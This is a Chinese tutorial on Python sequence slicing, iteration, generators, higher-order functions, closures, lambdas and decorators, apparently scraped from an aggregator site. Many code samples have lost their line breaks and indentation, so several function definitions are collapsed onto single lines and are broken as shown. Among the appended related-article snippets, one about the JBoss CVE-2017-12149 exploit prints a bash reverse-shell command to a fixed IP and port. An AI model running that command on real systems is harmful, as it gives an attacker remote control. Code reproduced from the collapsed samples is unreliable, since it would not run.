python操作数据对象方法和高阶函数

高级特性

对序列切片

        序列对象[start : end(不包括) : step],序列包括列表list、元组tuple、字符串str

l = [1,2,3,4] # list
t = ('1','2','3','4') # tuple
s = "today" #str
l[:2] # [1, 2]
l[0::2] # [1, 3]
t[:] # ('1', '2', '3', '4')
t[-2:] # ('3', '4')
s[1:3] # 'od'

对迭代对象Iterable进行迭代

        常见迭代对象是列表list、元组tuple、字典dict、字符串str,集合set、生成器对象generator、生成器函数generator function ,可以通过 isinstance(迭代对象, Iterable)判断是否迭代对象。

from collections.abc import Iterable
isinstance('hellow2024', Iterable) # True
d = {"a":90,"b":80,'c':70}
t= (1,2,3)
print("————字典默认迭代key————")
for key in d:print(key)
print("————字典迭代键-值—————")
for key,value in d.items():print(key+":"+str(value))
print("—————迭代元组,其它迭代对象同理————")
for x in t:print(x)
print("—————迭代元组及其下标,其它序列同理————")
for i,x in enumerate(t):print(i,' ',x)    
'''
————字典默认迭代key————
a
b
c
————字典迭代键-值—————
a:90
b:80
c:70
—————迭代元组,其它同理————
1
2
3
—————迭代元组及其下标,其它同理————
0   1
1   2
2   3
'''

列表推导式

List = range(10)
newList1 = [2*x+1 for x in List] 
# 相当于
newList1 = []
for x in List:newList1.append(2*x+1)newList2 = [x for x in List if x>=5 and x<15]  
# 相当于
newList2 = []
for x in List:if x>=5 and x<15:newList2.append(x)
'''        
还可以不断的嵌套for 和if 但是要明确这些for和if只是为了
确定能取到符合条件的List里的值,所以else不能出现
'''
# 还可以有其它迭代对象
newList3 = [k + ":"+ str(v) for k,v in {"a":90,"b":80,'c':70}.items()]
newList3

生成器generator

        生成器也是一个可迭代对象,所生成的是生成列表的规律或某种步骤,这样我们想用时再生成,节约空间。与列表生成式区别在于使用圆括号‘()’显示。

        另外,生成器generator所生成元素数量长度是未知的,实现惰性求值(即只在需要时才计算结果)。因为只能通过在通过next()去获取下一个值时,该值在内存上是不存在的。

        可以通过iter( some_Object)将例如列表对象转换为生成器对象genarator。

g = (x * x for x in range(10))
g
# <generator object <genexpr> at 0x000002784EE05A48>
g = (x+2 for x in range(10))
g
# 使用next()获取该迭代器对象下一个元素
for i in range(10):print(next(g))
# 直接利用它是迭代对象的特性
for x in g:print(x)

生成器函数


'''
面对较复杂的规则,可以定义生成器函数
使用yield关键字将生成器值返回(每一次迭代取数或使用next()都是运行到yield就中断返回该值 ),
下一次就接着上次yeid value语句下面继续执行,例如a,b = b,a+b。
当所有元素都迭代完,若再一次调用next()便抛出StopIteration异常并返回return值。
'''
def fib(max):n, a, b = 0, 0, 1while n < max:yield ba, b = b, a + bn = n + 1return 'done'
'''
每调用一次生成器函数,其返回的生成器对象是独立的
'''

函数进阶

map函数

'''map(f,Iterable),,-对迭代对象每一个元素作用f函数求得新值并返回一个生成器对象'''
g = map(abs,(-1,-2,-99,8))
for i in g:print(i)
# abs是绝对值函数对象,abs和普通变量等同,只不过其指向了求绝对值函数对象

 reduce函数

from functools import reduce
'''
参数1:f是一个接受两个参数的函数
参数2:是一个数值序列
reduce(f,[1,2,3]) => f(f(1,2),3)
'''def f(x,y):return (x+y)sumv = reduce(f,[1,2,3,4,5]) 
sumv

filter函数 

'''
filter接受两个参数
参数1:返回值为布尔类型的函数对象,其作用于参数2每一个元素并将返回值为True的元素生成新迭代对象
参数2:一个可迭代对象
'''
# 生成以3开头的奇数数列,没有考虑2和去除2的倍数
def odd_iter():n = 3yield nwhile True:n = n + 2yield n
# 返回值是一个函数对象,该函数返回值为布尔值,判断传入x是否是n的倍数,那些数自然不可能是素数
def not_divisiable(n):def process(x):return x%n !=0return process
# 生成素数数列
def prime_printer():yield 2 # 把没考虑的2加上it = odd_iter() # 生成奇数列迭代对象# 可以一直迭代while True:n = next(it)yield n# 将原数列中第一位(为素数)的倍数去除并构成新数列it = filter(not_divisiable(n),it)piter = prime_printer()
# 希望迭代出100以内素数
for prime in piter:if prime<100:print(prime)else:break

sorted函数

'''
sorted(可迭代对象iterable,key=f可缺省,reverse=False可缺省),返回
f函数制定排序的标准
'''
def sortByAge(d):return d['age']sorted([{'name':'fw','age':22},{'name':'yy','age':15},{'name':'nn','age':13}],key=sortByAge)
'''
[{'name': 'nn', 'age': 13},{'name': 'yy', 'age': 15},{'name': 'fw', 'age': 22}]'''
g = (x for x in range(10))
sorted(g,reverse=True)
'''
[9, 8, 7, 6, 5, 4, 3, 2, 1, 0]
'''

将函数作为返回值使用闭包

        在函数嵌套的情况下,内部函数使用外部函数中的变量,且外部函数返回了内部函数对象,这个内部函数称之为闭包。     

         内部函数虽然能调用外部函变量值,但不能直接改变其值,需要使用nonlocal x声明x变量不是本内部函数局部变量。

         不要引用外层函数中的循环中的变量值,因为,内层函数不会立即求值,等到调用时,循环中被引用的值可能已经改变。

def f1():lf=[]for i in range(1,4):def f3():return ilf.append(f3)return lf
print(f1())
f31,f32,f33 = f1()
print(f31(),' ',f32(),' ',f33())# 都引用了循环最终变量3
'''
[<function f1.<locals>.f3 at 0x0000019572B47EE8>, <function f1.<locals>.f3 at 0x0000019572B47AF8>, <function f1.<locals>.f3 at 0x0000019572B47D38>]
3   3   3
'''

        除非多嵌套一个函数并将循环中的值绑定在多增加的介于内层和外层函数中间的函数参数中

def f1():lf=[]def f2(i):def f3():return ireturn f3for i in range(1,4):lf.append(f2(i))return lf
print(f1())
f31,f32,f33 = f1()
print(f31(),' ',f32(),' ',f33())# 1 2 3

匿名函数lambda

'''
使用lambda 语句定义匿名函数
冒号前表示参数
只能有一个表达式,返回表达式结果
没有return语句
lambda 参数1,参数2、参数3等:一个表达式语句
'''x = lambda a,b:a+b
x(1,2)d =map(lambda x:x+1,[1,2,3])
list(d) # 将iterator类型转换为list
# 也可以直接用for迭代

装饰器

        装饰器能在不改变某一函数的定义代码情况下,通过定义另一实现额外功能的函数并通过’@语法‘让原函数函数名指向这''另一函数‘来实现额外功能。

1.无参数的装饰器

import functools
# 在pTime()函数执行功能基础上额外输出一个日志,不改变pTime
def log(f):@functools.wraps(f)# 将f指向的函数内置属性如__name__复制到wrapper函数def wrapper(*args,**kw):#*args,**kw可以接受任何参数print("log:执行额外功能在函数%s",f.__name__)#__name__属性为函数名,内置不用自己定义return f(*args,**kw)return wrapper@log #用log装饰pTime
def pTime():print("2024.9.3 22:23")pTime()'''
输出:
log:执行额外功能在函数%s pTime
2024.9.3 22:23
'''
'''
执行过程:
step1: pTime = log(pTime) # 调用log,此时pTime指向log的返回值wrapper,
step2: pTime() # 调用pTime,相当于调用wrapper,并提供return f(*a,**k)调用原来的pTime功能
'''

2.带参数的装饰器

import functools
# 在pTime()函数执行功能基础上额外输出一个日志,不改变pTime
def log(some_arg):def decorator(f):@functools.wraps(f)# 将f指向的函数内置属性如__name__复制到wrapper函数def wrapper(*args,**kw):#*args,**kw可以接受任何参数print("log:%s"%some_arg)#__name__属性为函数名,内置不用自己定义return f(*args,**kw)return wrapperreturn decorator@log("开始打印日志...") #用log装饰pTime,有参数,实际上的装饰器是内部的decorator函数
def pTime():print("2024.9.3 22:23")pTime()
'''
输出:
log:开始打印日志...
2024.9.3 22:23执行过程:
my_decorator = log("开始打印日志...") # 调用log,返回内部decorator函数对象
pTime = my_decorator(pTime) # 调用decorator函数,此时pTime指向decorator的返回值wrapper,
pTime() # 调用pTime,相当于调用wrapper,并提供return f(*a,**k)调用原来的pTime功能
'''

partial()给已有函数设默认值返回新函数

import functools
# functools.partial(fun_object,*arg,**kw)
x1 =int('123')
print(x1)
x2 = int('123',base=8)
print(x2)
int2  = functools.partial(int,base=8) # kw = {base:8};int('123',**kw)
x3 = int2('123')
print(x3)

参考:

函数式编程 - Python教程 - 廖雪峰的官方网站 (liaoxuefeng.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/419260.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Window下编译OpenJDK17

本文详细介绍Window下如何编译OpenJDK17&#xff0c;包含源码路径&#xff0c;各工具下载地址&#xff0c;严格按照文章中的步骤来操作&#xff0c;你将获得一个由自己亲手编译出的jdk。 一、下载OpenJDK17源码 下载地址&#xff1a;GitHub - openjdk/jdk at jdk-1735 说明&a…

【重学 MySQL】二十、运算符的优先级

【重学 MySQL】二十、运算符的优先级 MySQL 运算符的优先级&#xff08;由高到低&#xff09;注意事项示例 在 MySQL 中&#xff0c;运算符的优先级决定了在表达式中各个运算符被计算的先后顺序。了解运算符的优先级对于编写正确且高效的 SQL 语句至关重要。以下是根据高权威性…

神仙公司名单(北京)

神仙公司&#xff08;北京&#xff09; 接着奏乐接着舞&#xff0c;神仙公司系列。 这次写之前几期评论区呼声极高的城市&#xff1a;北京。 北京&#xff0c;是许多人外出打工的梦想之都&#xff0c;是年轻人逃离农村的终点站。 在近两年的就业蓝皮书「外省籍毕业生占比较高城…

react文件详情

1、node_modules&#xff1a;存放项目所依赖的一些第三方包文件 2、public&#xff1a;静态资源文件夹 favicon.ico&#xff1a;导航图标 index.html&#xff1a;项目首页的html模版 logo192.png&#xff1a;logo图片 logo512.png&#xff1a;logo图片 manifest.json&#…

鸿蒙轻内核M核源码分析系列十九 Musl LibC

往期知识点记录&#xff1a; 鸿蒙&#xff08;HarmonyOS&#xff09;应用层开发&#xff08;北向&#xff09;知识点汇总 轻内核M核源码分析系列一 数据结构-双向循环链表 轻内核M核源码分析系列二 数据结构-任务就绪队列 鸿蒙轻内核M核源码分析系列三 数据结构-任务排序链表 轻…

前端:HTML、CSS、JS、Vue

1 前端 内容概要 了解前端三件套(HTML、CSS、JS)在前端所起的作用掌握HTML标签的功能&#xff0c;掌握重要标签(a标签&#xff0c;form标签)了解CSS了解JS的基础语法掌握Vue的基础语法重点掌握Vue项目怎么启动项目掌握前后端分离是什么。前端做什么事情&#xff0c;后端做什么…

2024年第十五届蓝桥杯青少组国赛撞期GESP认证、放弃那个?

昨天蓝桥杯青少组官网发布了速查|第十五届蓝桥杯大赛青少组省赛成绩查询&#xff0c;首先恭喜2024年蓝桥杯青少组省赛一等奖的同学晋级蓝桥杯大赛青少组国赛&#xff0c;蓝桥杯青少组国赛的时间为2024年9月7日&#xff0c;CCF GESP编程能力等级认证也在同一天开始&#xff0c;同…

云服务器部署DB-GPT项目

项目介绍 DB-GPT 是一个将大语言模型LLM与数据库结合的开源项目。它主要研究如何使预训练的大规模语言模型&#xff08;如 GPT&#xff09;能够直接与数据库交互&#xff0c;以生成更加准确和信息丰富的回答。这个项目通过特殊的训练方法&#xff0c;教会模型理解和生成能够进行…

vue+ThreeJS:从0 到1 搭建开发环境

文章目录 一、下载安装&#xff08;懒人版&#xff09;二、顺序安装1&#xff0c;下载安装nodejs2&#xff0c;安装vue-cli3&#xff0c;创建vue-three 项目。4&#xff0c;安装threeJS5&#xff0c;安装element UI &#xff08;选装&#xff09;最终package.json文件如下&…

Arch - 架构安全性_授权(Authorization)

文章目录 OverView授权&#xff08;Authorization&#xff09;RBAC&#xff1a; 概述RBAC&#xff1a;基于角色的访问控制RBAC&#xff1a;主要元素 OAuth2&#xff1a;面向第三方应用的认证授权协议业务场景OAuth2的工作流程OAuth2 四种不同的授权方式授权码模式&#xff08;A…

Jboss远程代码执行漏洞(CVE-2017-12149)

还是先开启环境 浏览器访问跟上一个一模一样页面 还是用ysoserial.jar工具 然后准备好反弹shell的命令&#xff0c;需要对其进行base64加密 //反弹shell命令&#xff0c;注意替换为自己的 bash -i >& /dev/tcp/192.168.75.162/6666 0>&1 //base64加密 YmFzaCAt…

1-9 图像膨胀 opencv树莓派4B 入门系列笔记

目录 一、提前准备 二、代码详解 kernel np.ones((3, 3), np.uint8) _, binary_image cv2.threshold(image, 127, 255, cv2.THRESH_BINARY) dilated_image cv2.dilate(binary_image, kernel, iterations1) 三、运行现象 四、完整代码 五、完整工程贴出 一、提前准备 …

PowerShell 脚本自动化 Windows 工作开发流程

在 Windows 环境中&#xff0c;PowerShell 是一个强大且灵活的脚本语言&#xff0c;它不仅能与 Windows 系统深度集成&#xff0c;还能够进行任务自动化处理。对于开发者和系统管理员而言&#xff0c;编写 PowerShell 脚本来自动化常见的工作流程&#xff0c;能显著提升生产效率…

CTFHub技能树-Git泄漏-Log

目录 一、前提知识 1.git泄漏原理 ​编辑 2.git文件泄漏造成后果 3.利用方法 (1) GitHack是一个.git泄露利用脚本&#xff0c;通过泄露的.git文件夹下的文件&#xff0c;还原重建工程源代码。渗透测试人员、攻击者&#xff0c;可以进一步审计代码&#xff0c;挖掘&#x…

关于C++你应该知道的知识:C/C++内存管理

目录 &#x1f31e;0.前言 &#x1f688;1 . C/C内存分布 &#x1f688;2、C语言中动态内存管理方式 &#x1f688;3 . C中动态内存管理 &#x1f69d;3.1 new/delete操作内置类型 &#x1f69d;3.2 new和delete操作自定义类型 &#x1f688;4 . operator new 与 operator…

python编程知识(实现数据加密和解密)

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;开发者-曼亿点 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 曼亿点 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a…

html 页面引入 vue 组件之 http-vue-loader.js

一、http-vue-loader.js http-vue-loader.js 是一个 Vue 单文件组件加载器&#xff0c;可以让我们在传统的 HTML 页面中使用 Vue 单文件组件&#xff0c;而不必依赖 Node.js 等其他构建工具。它内置了 Vue.js 和样式加载器&#xff0c;并能自动解析 Vue 单文件组件中的所有内容…

JDK 8 升级 17 及 springboot 2.x 升级 3.x 指南

文章目录 JDK 8 升级 17简介javax.* 包移到 jakarta.*maven pom 中更新 java 版本 springboot 2.x 升级 3.xspring-boot 与 cloud、alibaba-cloud 的版本对应redis 默认配置调整SpringBoot 3.x 整合 Querydsl其他注意事项 maven 及 maven 插件的版本升级maven 版本升级maven-co…

HUAWEI华为MateBook B5-420 i5 集显(KLCZ-WXX9,KLCZ-WDH9)原装出厂Windows10系统文件下载

适用型号&#xff1a;KLCZ-WXX9、KLCZ-WDH9 链接&#xff1a;https://pan.baidu.com/s/12xnaLtcPjZoyfCcJUHynVQ?pwdelul 提取码&#xff1a;elul 华为原装系统自带所有驱动、出厂主题壁纸、系统属性联机支持标志、系统属性专属LOGO标志、华为浏览器、Office办公软件、华为…

握 手 问 题

目录 一&#xff1a;问题描述 二&#xff1a;思路: 三&#xff1a;代码&#xff1a; 四&#xff1a;结果&#xff1a;1204 一&#xff1a;问题描述 小蓝组织了一场算法交流会议&#xff0c;总共有50 5050 人参加了本次会议。在会议上&#xff0c;大家进行了握手交流。按照…